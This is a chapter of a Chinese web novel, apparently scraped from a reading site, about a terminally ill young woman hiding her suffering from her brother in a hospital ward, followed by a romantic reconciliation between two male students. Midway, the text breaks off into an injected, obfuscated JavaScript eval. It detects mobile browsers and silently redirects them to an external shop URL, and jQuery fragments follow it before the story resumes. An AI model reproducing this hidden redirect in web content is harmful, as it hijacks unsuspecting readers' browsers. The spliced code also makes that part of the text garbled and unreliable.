58. 她(五)

作品:《温和四季

    江尘清清嗓子,目光在陈温和沈泽许之间转了个来回:“没事,我不歧视这个。”


    陈温心里那根绷紧的弦一松,可这口气还没彻底呼出来,他就敏锐地察觉到身旁的气压很低。


    沈泽许的脸色非但没有缓和,反而更加阴沉,下颌线绷得像刀锋。


    完了……陈温心想。


    “姐,吃饭吧。”


    江尘似乎没注意到,或者说刻意忽略了这不自在的气氛。


    他手脚麻利地将几个餐盒打开,荤素搭配,还冒着热气,一样样摆在江夏面前可调节的小餐桌上。


    “我给你弄了你爱吃的,能吃一点算一点。”


    饭菜的香气弥漫开来,却驱不散空气里的凝重。


    “那……你们吃吧。”陈温站起身,下意识地想去拉沈泽许,手伸到一半又顿住,“我们先走了。”他转向江夏,道:“我明天再来看你。”


    “太勤了……”江夏笑笑,那笑意很淡,带着疲乏,“你们不是还有作业吗?过几天就要过年了,高三的假期,本来就像偷来的一样少。”


    “……好吧。”陈温无法反驳,转身要走。


    “陈温,”江夏叫住他,“答应我几件事。”她抬起眼,目光看向江尘和沈泽许,“你们俩,先出去一下,好吗?”


    沈泽许深深看了陈温一眼,那眼神复杂,但他没说什么,率先走向门外。


    江尘犹豫了一下,也收拾了空袋子,跟着出去了,带上了门。


    中间那张床病人被带出去晒太阳。


    1号床的老大爷家属后脚就来了,扯着嗓门讨论护工和药费,声音洪亮,完全没顾及其他人的感受,却也为房间的这一角提供了掩护。


    “陆晚枝,”江夏开口,直接切入核心,“最近怎么样了?”


    陈温没想到她会问这个,愣了下才回答:“她说……出去旅游了,散散心。不知道具体去哪儿,也没说什么时候回来。”


    “好。”江夏点点头,仿佛确认了什么。


    她的目光落在陈温脸上,清晰地说道:


    “第一件事就是别主动联系陆晚枝了。让她……好好完成她的旅行吧。”


    这句话的语气很怪,不像叮嘱,更像一个郑重的请求,甚至带着点诀别的意味。


    陈温的心往下沉了沉。


    “第二个嘛,”江夏深吸了一口气,像是要积蓄所有力气,她看向紧闭的房门,穿透它,看到外面那个故作坚强的弟弟,“如果……我是说如果,我突然走了。”


    “帮我拦住江尘。别让他做傻事。那孩子……看着浑,心里比谁都重感情,轴得很。”


    “不要这么想……”陈温抓住江夏枯瘦的手腕,“会好起来的……你不要这么悲观好不好……”


    江夏没有挣脱,也没有回应他的恳求。


    她只是静静地看着他,眼里有一种陈温读不懂的、深不见底的疲惫和了然。


    那不是一个二十二岁女生该有的眼神,那里面盛满了太多属于“过来人”的洞悉,平静的可怕。


    病房门轻轻合上,隔绝了走廊的光和最后一点外面的声音。


    江夏慢慢收回看向门口的视线,目光落在眼前小桌板上的饭菜上。


    鸡蛋羹表面平滑如镜,小米粥徐徐散着热气。


    江尘用心了。


    可她的胃里,正有千万只无形的虫子在啃噬、绞拧,带来一阵阵尖锐而顽固的痛楚。


    那是疾病本身,也是药物凶猛的副作用。


    她喉头紧缩,泛起熟悉的恶心感。


    但江夏面上却没有任何表情,甚至连眉头都没皱一下,慢慢地将手指搭在洁白的被单上。


    不能露出来。


    一点都不能。


    他们……已经够担心了……


    她躺在病床上,像个无底洞,消耗着钱财,更消耗着所爱之人脸上的笑容。


    累赘。


    这个词无声地在她空洞的心房里回荡。


    就在这时,1号床老大爷的家属们,那阵一直未停的议论,陡然拔高,清晰地钻入她的耳朵:


    “……一天就要这个数!医生说了,晚期了,这就是拿钱续命!”


    “咱家哪还有啊?上次借的三万还没还上……”


    “那能怎么办?眼睁睁看着爸……唉!”


    “这哪是治病,这是烧钱啊!家里都快揭不开锅了!”


    “揭不开锅”……江夏眼睫几不可察地颤了一下,胃部的绞痛似乎随之加剧了。


    “够了——!!!”


    一声嘶哑猛地从隔壁床炸开,打断了那喋喋不休的算计。


    是那位一直沉默忍受的老大爷。


    “都给我闭嘴!!”他胸膛剧烈起伏,枯瘦的手抓着床栏,浑浊的眼珠里爆发出被逼到绝境的悲凉,“滚……都给我滚出去!!”


    家属的议论戛然而止,几秒难堪的沉默后,是不情不愿离去的脚步声。


    病房门被重重带上。


    世界重新安静下来,江夏坐起身,目光无意识地投向窗外。


    那群人说不定早就盘算着大爷那点可怜的遗产,又或者,只是单纯地不想再被一个无底洞般的病人拖累。


    人性在病床和巨额账单面前,有时候就是这么直白而丑陋。


    她也管不了什么。自己这副残躯,连明天是否还能睁开眼都未可知,哪还有心力去评判别人的家事。


    医院楼下的小花园边上,有一个穿旧工装的男生——是江尘。


    他正蹲在花坛边,手里拿着两个巨大的白面馒头,就着一瓶看不出颜色的咸菜,大口大口地咬着,吃得专注而用力,仿佛那是世间最要紧的事。


    阳光落在他身上,灰尘在光柱里飞舞。


    江夏又缓缓低下头,看向自己面前这份精致却令她反胃的餐食。


    它们散发出清香,对她而言却像一场无声的凌迟。


    她伸出手,用勺子舀起一点点小米粥,动作缓慢得像电影慢镜头。


    送到唇边,停顿。


    胃部的绞痛和喉头的抵触汹涌而来。


    她最终还是把那一小勺粥,放回了饭盒里。


    盖子被合上。江夏靠回枕头,扶着肚子,闭上了眼睛。


    楼下的男生吃完了馒头,抹抹嘴,站起身,大步流星地走进屋内。


    饭盒渐渐失去温度。


    江夏一动不动,只有胸口极其微弱的起伏,证明她还在与疼痛和负罪感的对抗中,艰难地存在着。


    不知过了多久,也许只是几分钟,病房门被推开。


    江尘走了进来,脸上的神色已经调整过,带上了一点刻意放松的痕迹。


    “他们回去了?”


    “嗯。”江夏依然闭着眼,从喉咙里应了一声,那声音轻飘飘的,没什么力气。


    江尘走到小桌板旁,目光落在那个几乎没怎么动过的餐盒上。鸡蛋羹还是完整的,小米粥只少了一个小角,小角在勺子上。


    饭菜的热气早已散尽,凝结了一层薄薄的、令人毫无食欲的油光。


    “还是……不想吃吗?”他问,视线从冰冷的饭菜移到姐姐苍白的脸上,努力克制着哽咽。


    “嗯。”江夏仍旧没有睁眼,仿佛连掀开眼皮都需要耗费极大的力气,“你吃了吧。”


    “那怎么能行?”江尘几乎是立刻反驳,语气里带上一丝急躁,随即又强行压了下去,显得有点干巴巴的,“这是我……特意做给你的。你多少吃一点,就一点,好不好?”


    回应他的,是更长久的沉默,和江夏仿佛沉入更深倦怠中的侧脸。


    窗外的光线在她脸上投下淡淡的阴影,眼下的青黑愈发明显。


    “下次别做了。”许久,她才又开口,“已经冷了。”


    江尘站在那里,看着那盒已经冷透的饭菜,又看看姐姐拒绝沟通的、仿佛一碰即碎的侧影。


    他能听见自己有些粗重的呼吸,和心底那股无处发泄的、无力的酸涩感。


    他知道她难受,知道她没胃口。


    更怕的是她连“努力吃一点”的念头都没有了。那也意味着,她可能连“活下去”的意愿,都在被一点点磨光……


    就在这片死寂几乎要将他吞没时,江夏的声音忽然从身前传来,很轻,却像一把冰冷的锥子,精准刺破了他所有的伪装。


    “江尘。”


    他背脊一僵。


    “你怕姐姐死吗?”


    空气彻底凝固了。连窗外遥远的车流声都仿佛被按下了静音。


    静到江夏在问出这句话后,几乎产生了一种错觉——江尘是不是已经离开了?


    时间被拉得很长,每一秒都踩着心跳。


    良久,才传来一声极力压抑、却终究破碎的抽气声。


    然后,是江尘的声音。


    那声音完全变了调,嘶哑、哽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171991|196843||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    咽,带着浓重得化不开的鼻音,像是从被痛苦拧紧的胸腔里,一点一点挤压出来的:


    “怕……”


    “怕‘死’了……”


    江夏终于缓缓转动视线,看向一旁。


    江尘没有离开。


    他就站在那里,背对着她,肩膀无法控制地耸动着。


    然后,他像是耗尽了所有支撑的力气,一点一点地转过身来。


    泪水已经彻底打湿了他的眼眶,争先恐后地涌出,顺着他的脸颊滚落。


    他的鼻头通红,嘴唇死死地抿着,还在试图抑制那崩溃的呜咽,但颤抖的下颌和汹涌的眼泪,早已出卖了一切。


    但江尘只是沉默地伸出手,收拾起那个沉甸甸的餐盒。


    塑料盖子合上时,发出“咔哒”一声。江尘转身走向门口,想把这份冰冷和挫败带出去。


    走到门边时,他停下脚步,没有回头,声音有些发哽,却强撑着平常的语调:


    “……我去给你打点热水。你……躺一会儿。”


    说完,他拉开门,走了出去,轻轻将门带上,也把那片令人心慌的沉寂,再次留给了病床上那个单薄的身影。


    -


    陈温轻轻带上病房的门,一转身,就看见沈泽许。


    他没走远,就靠在对面的墙壁上,微微垂着头,额发落下来,遮住了一点眉眼。


    听到开门声,他抬起眼看了过来。


    那双眼睛,平日里多是沉静的锐利,此刻却像浸了水的墨玉,湿漉漉的,写着不易察觉的受伤,还有浓浓的“等你解释”。


    就这样看着他。


    遭了,陈温心里“咯噔”一下,刚才就不该下意识抽手的……这下好了,怎么哄啊啊啊!


    空气有点凝滞。


    陈温清了清嗓子,试图用最平常的语气打破沉默:“沈泽许,”他走过去两步,软声说:“走吧,去吃午饭。”


    沈泽许没动。


    只是维持着那个姿势,目光锁着他,嘴角抿着,那表情……活像一只被主人无意中踢了一脚,正独自委屈的大型犬,浑身散发着“你是不是要抛弃我”的幽气。


    陈温顿时一个头两个大。他叹了口气,认命地凑到沈泽许跟前,两人之间的距离瞬间缩短,几乎能感受到彼此的体温。


    他带着点讨饶的意味道:“我不是故意的……刚才那不是情况特殊嘛。你大人不计小人过,原谅我好不好?”


    沈泽许眼皮都没眨一下,依旧沉默,只是那眼神里的控诉意味更浓了,仿佛在说:解释不够,诚意不足。


    陈温头皮发麻。看来,要使出大招了!


    男生深吸一口气,耳根开始不受控制地发热。


    拼了!


    他再往前凑近一点,几乎贴着沈泽许的耳朵,用气音,又软又黏糊地叫了一声:


    “泽许哥哥……”


    那声音拐着弯,带着他自己听了都脚趾抠地的甜腻和撒娇意味,腻歪到陈温恨不得立刻闭嘴,这辈子都不想再听见第二遍。


    但,效果立竿见影。


    沈泽许那绷紧的嘴角,几不可察地向上弯了一瞬,虽然立刻又被他压了下去。


    陈温却捕捉了——心头一松,差点跟着傻笑出来。


    有戏!


    他趁热打铁,又用那腻死人的调子,轻拉沈泽许的袖口:“原谅人家好不好?嗯?”


    沈泽许终于舍得动了。


    他微微抬眼,垂眸看着近在咫尺、脸颊微红的陈温,眼底那层冰封的委屈渐渐化开,取而代之的是一种得逞的意味。


    他喉结滚动了一下,声音有点低哑,开口道:


    “叫我什么?”


    陈温的脸“轰”地一下全红了。


    这人是故意的!


    但箭在弦上,他只能硬着头皮,迎着沈泽许灼人的目光,用比刚才稍微正常一点、却依然软糯的声音,乖乖重复:


    “哥哥。”


    两个字,像羽毛搔过心尖。


    沈泽许眼底最后那点阴霾彻底散去。他伸出手,不是握,而是环过陈温的腰,将自己往他怀里带,埋在男生脖颈。


    “嗯。”他低低应了一声,“走吧,带你去吃饭。”


    沈泽许半靠在陈温身侧,他脸上热度未退,心里悄悄松了口气——这一关,总算是糊弄过去了。


    虽然代价是,他可能需要一段时间来消化自己刚才那番“壮举”。